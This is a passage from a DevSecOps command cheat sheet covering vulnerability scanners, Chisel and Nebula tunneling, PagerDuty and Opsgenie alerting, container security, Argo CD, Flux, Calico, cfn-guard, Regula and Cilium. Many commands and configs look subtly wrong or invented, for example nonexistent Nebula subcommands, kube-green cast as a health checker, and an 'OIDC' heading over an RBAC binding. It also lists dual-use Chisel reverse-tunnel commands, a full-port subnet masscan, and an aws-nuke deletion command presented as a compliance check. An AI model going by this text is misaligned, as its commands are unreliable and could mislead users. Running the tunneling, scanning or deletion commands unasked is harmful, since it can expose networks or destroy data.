compliance tool that provides continuous monitoring and detailed reporting.\t\n\n```\ncurl -H \"X-Requested-With: Curl\" -u \"username:password\" \"https://qualysapi.qualys.com/api/2.0/fo/scan/?action=launch&scan_title=Example Scan&target=192.168.1.1\"\n```\n\n### Security Onion\t\n\nA Linux distro for intrusion detection, network security monitoring, and log management.\t\n\n```\nsudo so-import-pcap -r 2022-01-01 -c example.pcap\n```\n\n### Lynis\n\nA tool for auditing security on Unix-based systems that performs a system scan and provides detailed reports.\t\n\n```\nsudo lynis audit system\n```\n\n### Nuclei\n\nA fast and customizable vulnerability scanner that supports a wide range of platforms and technologies.\t\n\n```\nnuclei -u http://example.com -t cves/CVE-2021-1234.yaml\n```\n\n\n### Nuclei Templates\t\n\nA collection of templates for Nuclei that cover a wide range of vulnerabilities and misconfigurations.\t\n\n```\nnuclei -u http://example.com -t cves/ -max-time 5m\n```\n\n### Nuclei with Burp Suite\t\n\nA combination of Nuclei and Burp Suite that allows you to quickly scan and identify vulnerabilities in web applications.\t\n\n```\nnuclei -t web-vulns -target http://example.com -proxy http://localhost:8080\n```\n\n### Nuclei with Masscan\t\n\nA combination of Nuclei and Masscan that allows you to quickly scan large IP ranges and identify vulnerabilities.\t\n\n```\nmasscan -p1-65535 192.168.1.1-254 -oL ips.txt && cat ips.txt\n```\n\n\n### Define Guardrails via HashiCorp\n\nApplies HashiCorp Sentinel policies to enforce guardrails defined in the policy file.\n\n```\nsentinel apply -policy=<policy_file>\n```\n\n### Vulnerability Scanning via nessuscli\n\nInitiates a vulnerability scan on the target system using Nessus.\n\n```\nnessuscli scan -t <target>\n```\n\n### Patch Vulnerabilities via Ansible playbook\n\nExecutes an Ansible playbook to patch vulnerabilities specified in the playbook.\n\n```\nansible-playbook -i inventory.ini patch_vulnerabilities.yml\n```\n\n### Compliance Checks via aws-nuke\n\nDeletes AWS resources non-compliant with the defined configuration in the AWS Nuke configuration file.\n\n```\naws-nuke --config=config.yml\n```\n\n### Continuous Compliance Monitoring via opa\n\nEvaluates Open Policy Agent (OPA) policies against input data to enforce compliance.\n\n```\nopa eval -i <input_data> -d <policy_file>\n```\n\n\n## Tunnel & Proxy\n\n\n### Nebula\n\nGenerates a certificate authority (CA) for Nebula using the specified name and outputs the CA certificate and key files.\n\n```\nnebula-cert ca -name \"<ca_name>\" -out <ca_cert_file> -key <ca_key_file>\n```\n\nSigns a node certificate with the specified CA certificate and key files, node name, IP address, and outputs the node certificate file.\n\n```\nnebula-cert sign -ca-crt <ca_cert_file> -ca-key <ca_key_file> -name \"<node_name>\" -out <node_cert_file> -ip <node_ip>\n```\n\nStarts a Nebula node using the specified configuration file\n\n```\nnebula -config <config_file>\n```\n\nAdds a static route to the Nebula node for the specified destination subnet via the specified node\n\n```\nnebula route add -dst-subnet <destination_subnet> -via <via_node>\n```\n\nStarts a Nebula proxy using the specified configuration file.\n\n```\nnebula-proxy -config <config_file>\n```\n\nInitiates a connection to a remote host using the Nebula overlay network.\n\n```\nnebula connect <host_ip>\n```\n\nChecks the status and connectivity of the Nebula node.\n\n```\nnebula status\n```\n\nDisplays statistics and metrics about the Nebula node.\n\n```\nnebula stats\n```\n\n\n### Chisel\n\n\nStarts the Chisel server on the specified port, enabling reverse tunneling.\n\n```\nchisel server -p <listen_port> --reverse\n```\n\nStarts the Chisel client and establishes a reverse tunnel to the Chisel server. It forwards traffic from the local port to the remote host and port.\n\n```\nchisel client <server_host>:<server_port> R:<remote_host>:<remote_port>:<local_port>\n```\n\n\nCreates a tunnel from the local port to the remote host and port via the Chisel server. The -f flag keeps the connection alive.\n\n```\nchisel client <server_host>:<server_port> -f -L <local_port>:<remote_host>:<remote_port>\n```\n\nSets up a local HTTP proxy that forwards traffic to the Chisel server and then to the internet.\n\n```\nchisel client <server_host>:<server_port> -f -P <local_port>\n```\n\nConfigures a local SOCKS proxy that routes traffic through the Chisel server.\n\n\n```\nchisel client <server_host>:<server_port> -f -S <local_port>\n```\n\nDescription: \n\nSets up a reverse tunnel and exposes a local web service through the Chisel server using the HTTP proxy protocol.\n\n```\nchisel client <server_host>:<server_port> --reverse --proxy-protocol http\n```\n\n\nCreates multiple tunnels from different local ports to different remote hosts and ports via the Chisel server.\n\n```\nchisel client <server_host>:<server_port> -f -L <local_port1>:<remote_host1>:<remote_port1> -L <local_port2>:<remote_host2>:<remote_port2>\n```\n\n\nTests the connectivity to the Chisel server and displays the round-trip time (RTT).\n\n```\nchisel client <server_host>:<server_port> --ping\n```\n\n\n## Incident Management\n\n\n\n\n### PagerDuty\n\n\n\n```\nimport requests\n\ndef trigger_pagerduty_incident(service_key, description, details):\n    url = \"https://events.pagerduty.com/v2/enqueue\"\n    payload = {\n        \"routing_key\": service_key,\n        \"event_action\": \"trigger\",\n        \"payload\": {\n            \"summary\": description,\n            \"severity\": \"error\",\n            \"source\": \"vulnerability-scanner\",\n            \"custom_details\": details\n        }\n    }\n    headers = {\n        \"Content-Type\": \"application/json\"\n    }\n\n    response = requests.post(url, json=payload, headers=headers)\n    if response.status_code == 202:\n        print(\"PagerDuty incident triggered successfully\")\n    else:\n        print(\"Failed to trigger PagerDuty incident\")\n\n# Usage example:\nservice_key = \"YOUR_PAGERDUTY_SERVICE_KEY\"\ndescription = \"Critical vulnerability detected\"\ndetails = {\n    \"scan_target\": \"example.com\",\n    \"vulnerability_description\": \"CVE-2023-1234\",\n    \"remediation_steps\": \"Update library version to 2.0.1\"\n}\n\ntrigger_pagerduty_incident(service_key, description, details)\n```\n\n\n\nIn this example, the trigger_pagerduty_incident function sends a PagerDuty event to trigger an incident. It includes a summary, severity, source, and custom details such as the scan target, vulnerability description, and suggested remediation steps.\n\n\nThen we have defined three incident rules based on different vulnerability priorities: Critical, Medium, and Low. Each rule specifies a condition based on the priority field, and if the condition is met, corresponding actions are triggered.\n\n\n```\nincident_rules:\n  - name: Critical Vulnerability\n    description: Notify the Security Team for critical vulnerabilities\n    conditions:\n      - field: priority\n        operation: equals\n        value: P1\n    actions:\n      - type: notify-team\n        team: Security Team\n        message: \"Critical vulnerability detected. Please investigate and take immediate action.\"\n      - type: add-note\n        content: \"Critical vulnerability detected. Incident created for further investigation.\"\n  - name: Medium Vulnerability\n    description: Notify the Development Team for medium vulnerabilities\n    conditions:\n      - field: priority\n        operation: equals\n        value: P2\n    actions:\n      - type: notify-team\n        team: Development Team\n        message: \"Medium vulnerability detected. Please review and prioritize for remediation.\"\n      - type: add-note\n        content: \"Medium vulnerability detected. Incident created for further review.\"\n  - name: Low Vulnerability\n    description: Notify the Operations Team for low vulnerabilities\n    conditions:\n      - field: priority\n        operation: equals\n        value: P3\n    actions:\n      - type: notify-team\n        team: Operations Team\n        message: \"Low vulnerability detected. Please assess and plan for future updates.\"\n      - type: add-note\n        content: \"Low vulnerability detected. Incident created for tracking and monitoring.\"\n```\n\n\n\n### Opsgenie\n\n\n```\nimport requests\n\ndef create_opsgenie_alert(api_key, message, priority, details):\n    url = \"https://api.opsgenie.com/v2/alerts\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": f\"GenieKey {api_key}\"\n    }\n    payload = {\n        \"message\": message,\n        \"priority\": priority,\n        \"details\": details\n    }\n\n    response = requests.post(url, json=payload, headers=headers)\n    if response.status_code == 202:\n        print(\"Opsgenie alert created successfully\")\n    else:\n        print(\"Failed to create Opsgenie alert\")\n\n# Usage example:\napi_key = \"YOUR_OPSGENIE_API_KEY\"\nmessage = \"Critical vulnerability detected\"\npriority = \"P1\"\ndetails = {\n    \"scan_target\": \"example.com\",\n    \"vulnerability_description\": \"CVE-2023-1234\",\n    \"remediation_steps\": \"Update library version to 2.0.1\"\n}\n\ncreate_opsgenie_alert(api_key, message, priority, details)\n```\n\n\nIn this example, the create_opsgenie_alert function sends an alert to Opsgenie, specifying the message, priority, and additional details such as the scan target, vulnerability description, and suggested remediation steps.\n\n\n\nThen we have defined three incident rules based on different vulnerability priorities: Critical, Medium, and Low. Each rule specifies a condition based on the priority field, and if the condition is met, corresponding actions are triggered.\n\n\n```\nrules:\n  - name: Critical Vulnerability\n    description: Notify the Security Team for critical vulnerabilities\n    condition: priority == \"P1\"\n    actions:\n      - notify-team:\n          name: Security Team\n          message: \"Critical vulnerability detected. Please investigate and take immediate action.\"\n      - add-note:\n          content: \"Critical vulnerability detected. Incident created for further investigation.\"\n  - name: Medium Vulnerability\n    description: Notify the Development Team for medium vulnerabilities\n    condition: priority == \"P2\"\n    actions:\n      - notify-team:\n          name: Development Team\n          message: \"Medium vulnerability detected. Please review and prioritize for remediation.\"\n      - add-note:\n          content: \"Medium vulnerability detected. Incident created for further review.\"\n  - name: Low Vulnerability\n    description: Notify the Operations Team for low vulnerabilities\n    condition: priority == \"P3\"\n    actions:\n      - notify-team:\n          name: Operations Team\n          message: \"Low vulnerability detected. Please assess and plan for future updates.\"\n      - add-note:\n          content: \"Low vulnerability detected. Incident created for tracking and monitoring.\"\n```\n\n\n\n\n## Harbor\n\n### Create a new project in Harbor\n\n```\ncurl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer <TOKEN>' -d '{\"project_name\": \"myproject\"}' https://<HARBOR_HOST>/api/v2.0/projects\n```\n\n\n\n### Add a new user to Harbor\n\n\n```\ncurl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer <TOKEN>' -d '{\"username\": \"newuser\", \"password\": \"password123\"}' https://<HARBOR_HOST>/api/v2.0/users\n```\n\n\n### Scan an image for vulnerabilities in Harbor\n\n\n```\ncurl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer <TOKEN>' -d '{\"registry\": \"https://<REGISTRY_HOST>\", \"repository\": \"myimage\", \"tag\": \"latest\"}' https://<HARBOR_HOST>/api/v2.0/scan\n```\n\n\n### Delete a project in Harbor\n\n```\ncurl -X DELETE -H 'Authorization: Bearer <TOKEN>' https://<HARBOR_HOST>/api/v2.0/projects/myproject\n```\n\n\n### Retrieve the list of repositories in Harbor\n\n```\ncurl -H 'Authorization: Bearer <TOKEN>' https://<HARBOR_HOST>/api/v2.0/repositories\n```\n\n\n\n## Clair\n\n\n### Scan a Docker image with Clair\n\n```\nclairctl analyze -l <image_name>\n```\n\n\n\n### Retrieve vulnerability report for a Docker image from Clair\n\n\n```\nclairctl report -l <image_name>\n```\n\n\n\n\n### Update vulnerability database in Clair\n\n\n```\nclairctl update\n```\n\n\n\n### Delete a Docker image from Clair's database\n\n\n```\nclairctl delete -l <image_name>\n```\n\n\n\n### Get vulnerability details for a specific CVE in Clair\n\n\n```\nclairctl vulnerability <CVE_ID>\n```\n\n\n## Podman\n\n### Run a container in a rootless mode\n\n```\npodman run --rm -it --userns=keep-always <image_name>\n```\n\n\n### Enable seccomp profile for a container\n\n\n```\npodman run --rm -it --security-opt seccomp=/path/to/seccomp.json <image_name>\n```\n\n\n### Apply SELinux context to a container\n\n\n```\npodman run --rm -it --security-opt label=type:container_runtime_t <image_name>\n```\n\n\n### Configure AppArmor profile for a container\n\n\n```\npodman run --rm -it --security-opt apparmor=docker-default <image_name>\n```\n\n\n### Enable read-only root filesystem for a container\n\n\n```\npodman run --rm -it --read-only <image_name>\n```\n\n\n## skopeo\n\n\n### Copy an image from one container registry to another, verifying its authenticity:\n\n```\nskopeo copy --src-creds=<source_credentials> --dest-creds=<destination_credentials> --src-tls-verify=true --dest-tls-verify=true docker://<source_registry>/<source_image>:<tag> docker://<destination_registry>/<destination_image>:<tag>\n```\n\n\n\n\n### Inspect an image manifest to view its details and verify its integrity:\n\n\n```\nskopeo inspect --tls-verify=true docker://<registry>/<image>:<tag>\n```\n\n\n\n\n### Copy an image from a container registry to the local filesystem, validating its signature:\n\n\n```\nskopeo copy --src-creds=<source_credentials> --dest-tls-verify=true docker://<registry>/<image>:<tag> oci:<destination_directory>\n```\n\n\n\n\n### List the tags available for a specific image in a container registry:\n\n\n```\nskopeo list-tags --tls-verify=true docker://<registry>/<image>\n```\n\n\n\n\n\n### Delete an image from a container registry:\n\n\n\n```\nskopeo delete --creds=<registry_credentials> --tls-verify=true docker://<registry>/<image>:<tag>\n```\n\n\n\n\n## Open Containers Initiative (OCI)\n\n\n### Verify Image Integrity\n\n\n\n```\nimport (\n    \"fmt\"\n    \"github.com/opencontainers/go-digest\"\n    \"github.com/opencontainers/image-spec/specs-go/v1\"\n)\n\nfunc verifyImageIntegrity(manifest v1.Manifest) error {\n    for _, layer := range manifest.Layers {\n        if layer.MediaType == \"application/vnd.oci.image.layer.v1.tar\" {\n            digest := layer.Digest\n            // Verify the integrity of the layer using the digest\n            isValid, err := verifyLayerDigest(digest)\n            if err != nil {\n                return err\n            }\n            if !isValid {\n                return fmt.Errorf(\"Layer integrity check failed\")\n            }\n        }\n    }\n    return nil\n}\n\nfunc verifyLayerDigest(digest digest.Digest) (bool, error) {\n    // Implement logic to verify the digest against the stored layer\n    // Return true if the digest is valid, false otherwise\n}\n```\n\n\n### Enforce Image Vulnerability Scanning:\n\n\n\n\n```\nimport (\n    \"fmt\"\n    \"github.com/opencontainers/image-spec/specs-go/v1\"\n)\n\nfunc enforceVulnerabilityScanning(manifest v1.Manifest) error {\n    for _, annotation := range manifest.Annotations {\n        if annotation.Name == \"com.example.vulnerability-scanning\" && annotation.Value != \"enabled\" {\n            return fmt.Errorf(\"Vulnerability scanning is not enabled for the image\")\n        }\n    }\n    return nil\n}\n```\n\n\n### Implement Image Signing:\n\n\n\n\n```\nimport (\n    \"fmt\"\n    \"github.com/opencontainers/image-spec/specs-go/v1\"\n)\n\nfunc signImage(manifest v1.Manifest, privateKey string) error {\n    // Use the private key to sign the image manifest\n    // Return an error if signing fails\n}\n```\n\n\n### Enforce Image Content Trust:\n\n\n\n\n```\nimport (\n    \"fmt\"\n    \"github.com/opencontainers/image-spec/specs-go/v1\"\n)\n\nfunc enforceContentTrust(manifest v1.Manifest) error {\n    for _, annotation := range manifest.Annotations {\n        if annotation.Name == \"com.example.content-trust\" && annotation.Value != \"true\" {\n            return fmt.Errorf(\"Content trust is not enabled for the image\")\n        }\n    }\n    return nil\n}\n```\n\n\n### Secure Image Transmission:\n\n\n\n\n```\nimport (\n    \"fmt\"\n    \"github.com/opencontainers/image-spec/specs-go/v1\"\n)\n\nfunc secureImageTransmission(manifest v1.Manifest) error {\n    for _, layer := range manifest.Layers {\n        if layer.MediaType == \"application/vnd.oci.image.layer.v1.tar\" {\n            // Implement logic to enforce secure transmission of the layer\n            // Return an error if the transmission is not secure\n        }\n    }\n    return nil\n}\n```\n\n\n\n\n## API Umbrella and Kong\n\n\n### Rate Limiting\n\n\n```\ncurl -X PUT \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Admin-Auth-Token: YOUR_ADMIN_AUTH_TOKEN\" \\\n  -d '{\n    \"settings\": {\n      \"rate_limit_mode\": \"custom\",\n      \"rate_limits\": [\n        {\n          \"duration\": 1,\n          \"limit_by\": \"ip\",\n          \"limit\": 100\n        }\n      ]\n    }\n  }' \\\n  https://your-api-umbrella-host/admin/api/settings\n```\n\n\n\n\n\n### Authentication and Authorization\n\n\n```\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"jwt-auth\",\n    \"config\": {\n      \"uri_param_names\": [\"token\"],\n      \"secret_is_base64\": false\n    },\n    \"plugin\": \"jwt\"\n  }' \\\n  http://localhost:8001/services/{service_id}/plugins\n```\n\n\n\n\n\n### SSL/TLS Termination\n\n\n```\ncurl -X PUT \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Admin-Auth-Token: YOUR_ADMIN_AUTH_TOKEN\" \\\n  -d '{\n    \"frontend_host\": \"your-api.example.com\",\n    \"backend_protocol\": \"https\",\n    \"backend_ssl_cert\": \"YOUR_SSL_CERT\",\n    \"backend_ssl_key\": \"YOUR_SSL_KEY\"\n  }' \\\n  https://your-api-umbrella-host/admin/api/services/{service_id}\n```\n\n\n\n\n\n### Logging and Monitoring\n\n\n```\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"file-log\",\n    \"config\": {\n      \"path\": \"/var/log/kong/access.log\"\n    },\n    \"plugin\": \"file-log\"\n  }' \\\n  http://localhost:8001/services/{service_id}/plugins\n```\n\n\n\n\n\n### API Key Management\n\n\n```\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Admin-Auth-Token: YOUR_ADMIN_AUTH_TOKEN\" \\\n  -d '{\n    \"api_key\": {\n      \"user_id\": \"your-user-id\",\n      \"key\": \"your-api-key\",\n      \"created_at\": \"2022-01-01T00:00:00Z\"\n    }\n  }' \\\n  https://your-api-umbrella-host/admin/api/api_keys\n```\n\n\n\n\n\n## Argo CD\n\n\n### Enable authentication for Argo CD using OIDC (OpenID Connect)\n\n```\n# rbac-config.yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: argocd-admin\n  namespace: argocd\nsubjects:\n- kind: User\n  name: <username>\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: admin\n  apiGroup: rbac.authorization.k8s.io\n```\n\n\n\n### Enable SSL/TLS encryption for Argo CD\n\n```\n# values.yaml\nserver:\n  config:\n    tls.enabled: true\n    tls.insecure: false\n    tls.crt: |\n      -----BEGIN CERTIFICATE-----\n      <your_certificate_here>\n      -----END CERTIFICATE-----\n    tls.key: |\n      -----BEGIN PRIVATE KEY-----\n      <your_private_key_here>\n      -----END PRIVATE KEY-----\n```\n\n\n\n### Restrict access to Argo CD's API server using network policies\n\n```\n# network-policy.yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: argocd-network-policy\n  namespace: argocd\nspec:\n  podSelector: {}\n  ingress:\n  - from:\n    - namespaceSelector:\n        matchLabels:\n          name: <allowed_namespace>\n```\n\n\n### Enable Webhook authentication for Argo CD\n\n```\n# values.yaml\nserver:\n  config:\n    repository.credentials:\n    - name: <repo_name>\n      type: helm\n      helm:\n        url: <helm_repo_url>\n        auth:\n          webhook:\n            url: <webhook_url>\n            secret: <webhook_secret>\n```\n\n\n\n\n\n\n\n\n## flux2\n\n\n### Enable RBAC (Role-Based Access Control) for Flux\n\n```\n# flux-system-rbac.yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: flux-system-rbac\nsubjects:\n- kind: ServiceAccount\n  name: flux-system\n  namespace: flux-system\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin\n  apiGroup: rbac.authorization.k8s.io\n```\n\n\n\n\n### Enable image scanning with Trivy for Flux workloads\n\n```\n# flux-system-policies.yaml\napiVersion: image.toolkit.fluxcd.io/v1alpha2\nkind: Policy\nmetadata:\n  name: flux-system-policies\n  namespace: flux-system\nspec:\n  policyType: tag\n  repositories:\n  - name: <repository_name>\n    imagePolicy:\n      name: trivy\n      enabled: true\n      args:\n        - \"--severity\"\n        - \"HIGH,CRITICAL\"\n```\n\n\n\n\n\n### Use GitOps for managing Kubernetes secrets with Flux\n\n```\n# secrets.yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: <secret_name>\n  namespace: <namespace>\nstringData:\n  <key>: <value>\n```\n\n\n\n\n\n### Configure multi-tenancy with Flux using Git branches\n\n```\n# flux-system-repo.yaml\napiVersion: source.toolkit.fluxcd.io/v1alpha2\nkind: GitRepository\nmetadata:\n  name: flux-system-repo\n  namespace: flux-system\nspec:\n  url: <repository_url>\n  ref:\n    branch: <branch_name>\n  interval: 1m\n```\n\n\n\n\n\n### Enable cluster auto-scaling using Flux and Kubernetes Horizontal Pod Autoscaler (HPA)\n\n```\n# flux-system-autoscaler.yaml\napiVersion: autoscaling/v2beta2\nkind: HorizontalPodAutoscaler\nmetadata:\n  name: <hpa_name>\n  namespace: <namespace>\nspec:\n  scaleTargetRef:\n    apiVersion: apps/v1\n    kind: Deployment\n    name: <deployment_name>\n  minReplicas: <min_replicas>\n  maxReplicas: <max_replicas>\n  metrics:\n  - type: Resource\n    resource:\n      name: cpu\n      target:\n        type: Utilization\n        averageUtilization: <cpu_utilization>\n```\n\n\n\n\n\n\n\n\n## GoCD\n\n\n### Enable SSL/TLS for GoCD Server\n\n```\n<server>\n  <!-- Other server configuration settings -->\n\n  <ssl>\n    <keystore>/path/to/keystore.jks</keystore>\n    <keystore-password>keystore_password</keystore-password>\n    <key-password>key_password</key-password>\n  </ssl>\n</server>\n```\n\n\n\n### Implement Role-Based Access Control (RBAC)\n\n```\ncurl -u <admin_username>:<admin_password> -H 'Content-Type: application/json' -X POST \\\n  -d '{\n    \"name\": \"Developers\",\n    \"users\": [\"user1\", \"user2\"],\n    \"pipelines\": {\n      \"read\": [\"pipeline1\", \"pipeline2\"]\n    }\n  }' \\\n  http://localhost:8153/go/api/admin/security/roles\n```\n\n### Configure LDAP or Active Directory Integration\n\n```\n<security>\n  <!-- Other security settings -->\n\n  <ldap uri=\"ldap://ldap.example.com:389\" managerDn=\"cn=admin,dc=example,dc=com\" managerPassword=\"password\">\n    <loginFilter>(uid={0})</loginFilter>\n    <searchBases>ou=users,dc=example,dc=com</searchBases>\n    <loginAttribute>uid</loginAttribute>\n    <searchUsername>uid=admin,ou=users,dc=example,dc=com</searchUsername>\n    <searchPassword>password</searchPassword>\n  </ldap>\n</security>\n```\n\n### Implement Two-Factor Authentication (2FA)\n\n```\n<security>\n  <!-- Other security settings -->\n\n  <authConfigs>\n    <authConfig id=\"google_auth\" pluginId=\"cd.go.authentication.plugin.google.oauth\">\n      <property>\n        <key>ClientId</key>\n        <value>your_client_id</value>\n      </property>\n      <property>\n        <key>ClientSecret</key>\n        <value>your_client_secret</value>\n      </property>\n    </authConfig>\n  </authConfigs>\n</security>\n```\n\n### Enable Security Scanning of GoCD Agents\n\n```\npipeline:\n  stages:\n    - name: Build\n      # Build stage configuration\n\n    - name: SonarQube\n      jobs:\n        - name: RunSonarQube\n          tasks:\n            - exec: sonar-scanner\n```\n\n\n\n\n## Calico\n\n### Enable Calico network policies  \n\n```\nkubectl apply -f calico-policy.yaml\n```\n\n\n### Check Calico network policies    \n\n```\nkubectl get networkpolicies\n```\n\n\n### View Calico logs    \n\n```\nkubectl logs -n kube-system <calico-pod-name>\n```\n\n\n### Network Policy for Denying All Ingress Traffic:\n\n\n```\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: deny-all-ingress\nspec:\n  podSelector: {}\n  policyTypes:\n  - Ingress\n```\n\n\n### Network Policy for Allowing Ingress Traffic from a Specific Namespace:\n\n\n```\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: allow-ingress-from-namespace\nspec:\n  podSelector: {}\n  ingress:\n  - from:\n    - namespaceSelector:\n        matchLabels:\n          name: allowed-namespace\n```\n\n### Network Policy for Allowing Egress Traffic to a Specific IP or IP Range:\n\n\n```\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: allow-egress-to-ip-range\nspec:\n  podSelector: {}\n  egress:\n  - to:\n    - ipBlock:\n        cidr: 10.0.0.0/24\n```\n\n### Network Policy for Enforcing Pod Labels:\n\n\n```\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: enforce-pod-labels\nspec:\n  podSelector:\n    matchLabels:\n      app: backend\n  policyTypes:\n  - Ingress\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          app: frontend\n```\n\n### Network Policy for Enforcing eBPF-based Network Security:\n\n\n```\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: enforce-ebpf-security\nspec:\n  podSelector: {}\n  egress:\n  - to:\n    - namespaceSelector:\n        matchLabels:\n          calico/knsname: kube-system\n  ingress:\n  - from:\n    - namespaceSelector:\n        matchLabels:\n          calico/knsname: kube-system\n```\n\n\n\n\n## AWS CloudFormation Guard\n\n### Create a Guard rule file    \n\n```\ncfn-guard init <rule-file-name>.ruleset\n```\n\n\n### Evaluate a CloudFormation template against Guard rules  \n\n```\ncfn-guard validate -t <template-file> -r <rule-file>\n```\n\n### Generate a template with Guard conditions   \n\n\n```\ncfn-guard generate -t <template-file> -r <rule-file> -o <output-file>\n```\n\n### Enable verbose output for evaluation results    \n\n```\ncfn-guard validate -t <template-file> -r <rule-file> --verbose\n```\n\n\n### Run Guard with custom configuration \n\n\n```\ncfn-guard validate -t <template-file> -r <rule-file> --config <config-file>\n```\n\n\n### Check if an EC2 instance type is allowed:\n\n\n\n```\nrules:\n  - id: ec2InstanceTypeRule\n    description: Check allowed EC2 instance types\n    matches:\n      - resources:\n          - MyEC2Instance\n        properties:\n          instanceType:\n            notEquals: t2.micro\n```\n\n\n\n\n### Enforce tagging for an S3 bucket:\n\n\n\n```\nrules:\n  - id: s3BucketTaggingRule\n    description: Enforce tagging for S3 buckets\n    matches:\n      - resources:\n          - MyS3Bucket\n        properties:\n          tags:\n            notPresent: \"my-tag\"\n```\n\n\n\n### Ensure a specific VPC CIDR range is used:\n\n\n\n```\ncfn-guard validate -t <template-file> -r <rule-file> --config <config-file>\n```\n\n\n\n\n### Ensure a specific VPC CIDR range is used:\n \n\n\n```\nrules:\n  - id: vpcCIDRRule\n    description: Ensure a specific VPC CIDR range is used\n    matches:\n      - resources:\n          - MyVPC\n        properties:\n          cidrBlock:\n            equals: 10.0.0.0/16\n```\n\n\n\n\n### Restrict the use of insecure security groups:\n\n\n\n```\nrules:\n  - id: securityGroupRule\n    description: Restrict the use of insecure security groups\n    matches:\n      - resources:\n          - MySecurityGroup\n        properties:\n          securityGroupIngress:\n            notMatches:\n              - cidrIp: 0.0.0.0/0\n                ipProtocol: -1\n```\n\n\n\n\n### Ensure encryption is enabled for an RDS instance:\n\n\n\n```\nrules:\n  - id: rdsEncryptionRule\n    description: Ensure encryption is enabled for RDS instances\n    matches:\n      - resources:\n          - MyRDSInstance\n        properties:\n          storageEncrypted:\n            equals: true\n```\n\n## kube-green\n\n\n### Check the health of a specific resource in the cluster    \n\n```\nkube-green check RESOURCE_NAME\n```\n\n\n### Check the health of all resources in a specific namespace      \n\n```\nkube-green check -n NAMESPACE\n```\n\n\n### Check the health of a specific resource with a custom timeout      \n\n```\nkube-green check --timeout TIMEOUT RESOURCE_NAME\n```\n\n\n### Get detailed information about the health status of a specific resource   \n\n```\nkube-green describe RESOURCE_NAME\n```\n\n\n### Watch the health status of a specific resource type in the cluster in real-time    \n\n```\nkube-green watch --kind RESOURCE_TYPE\n```\n\n\n### Monitor the health status of resources in a Kubernetes namespace and send notifications to a Slack channel:\n\n    \n```\nkube-green monitor --namespace <namespace> --notifications slack --slack-channel #channel-name\n```\n\n### Monitor the health status of resources in a Kubernetes namespace and send notifications to a Microsoft Teams channel:\n\n\n```\nkube-green monitor --namespace <namespace> --notifications teams --teams-channel #channel-name\n```\n\n\n\n\n## Regula\n\n\n### Scan a directory for compliance violations    \n\n```\nregula scan -d <directory-path>\n```\n\n### Scan a specific file for compliance violations      \n\n```\nregula scan -f <file-path>\n```\n\n### Scan a remote repository for compliance violations     \n\n```\nregula scan -r <repository-url>\n```\n\n### Scan a Terraform plan file for compliance violations        \n\n```\nregula scan -p <plan-file>\n```\n\n### Scan a directory and output results in JSON format      \n\n```\nregula scan -d <directory-path> --output json\n```\n\n### Check for unrestricted S3 bucket policies:\n   \n\n```\nname: S3 bucket policy should not be unrestricted\nresource_type: aws_s3_bucket_policy\nviolating_actions:\n  - \"*\"\n```\n\n### Ensure that security groups do not allow unrestricted ingress traffic:\n\n\n```\nname: Security groups should not allow unrestricted ingress traffic\nresource_type: aws_security_group_rule\nviolating_actions:\n  - ingress\nviolating_fields:\n  - source_security_group_id: \"sg-00000000\"\n  - cidr_blocks:\n      - \"0.0.0.0/0\"\n```\n\n### Enforce encryption for EBS volumes:\n  \n\n```\nname: EBS volumes should be encrypted\nresource_type: aws_ebs_volume\nviolating_actions:\n  - create\n  - modify\nviolating_fields:\n  - encrypted: false\n```\n\n### Check for publicly accessible EC2 instances:\n   \n\n```\nname: EC2 instances should not be publicly accessible\nresource_type: aws_instance\nviolating_fields:\n  - public_ip_address: \"*\"\n```\n\n### Ensure IAM policies do not have wildcard resource permissions:\n    \n\n```\nname: IAM policies should not have wildcard resource permissions\nresource_type: aws_iam_policy\nviolating_fields:\n  - resources:\n      - \"*\"\n```\n\n\n\n\n\n## eBPF (extended Berkeley Packet Filter)\n\n\n### Check Cilium installation     \n\n```\nkubectl get pods -n kube-system\n```\n\n\n\n### View Cilium agent logs    \n\n```\nkubectl logs -n kube-system -l k8s-app=cilium\n```\n\n\n\n\n### View Cilium operator logs   \n\n```\nkubectl logs -n kube-system -l name=cilium-operator\n```\n\n\n\n\n### Describe NetworkPolicy  \n\n```\nkubectl describe networkpolicy <name>\n```\n\n\n\n\n### Apply L7 (Layer 7) Policy   \n\n```\nkubectl apply -f <l7policy.yaml>\n```\n\n\n\n\n### List L7 Policies     \n\n```\nkubectl get l7policy\n```\n\n\n\n\n### Update Cilium      \n\n```\nhelm upgrade cilium cilium/cilium --version <version>\n```\n\n\n\n\n### Enforce Network Policies:\n\n \n\n```\napiVersion: cilium.io/v2\nkind: CiliumNetworkPolicy\nmetadata:\n  name: web-policy\nspec:\n  endpointSelector:\n    matchLabels:\n      app: web\n  ingress:\n    - fromEndpoints:\n        - matchLabels:\n            app: db\n  egress:\n    - toEndpoints:\n        - matchLabels:\n            app: internet\n```\n\n\n\n\n###  Enable Encryption for Cilium Communication:\n\n```\napiVersion: cilium.io/v2\nkind: CiliumClusterwideNetworkPolicy\nmetadata:\n  name: encryption-policy\nspec:\n  endpointSelector:\n    matchLabels:\n      app: cilium\n  ingress:\n    - fromEndpoints:\n        - matchLabels:\n            app: cilium\n  egress:\n    - 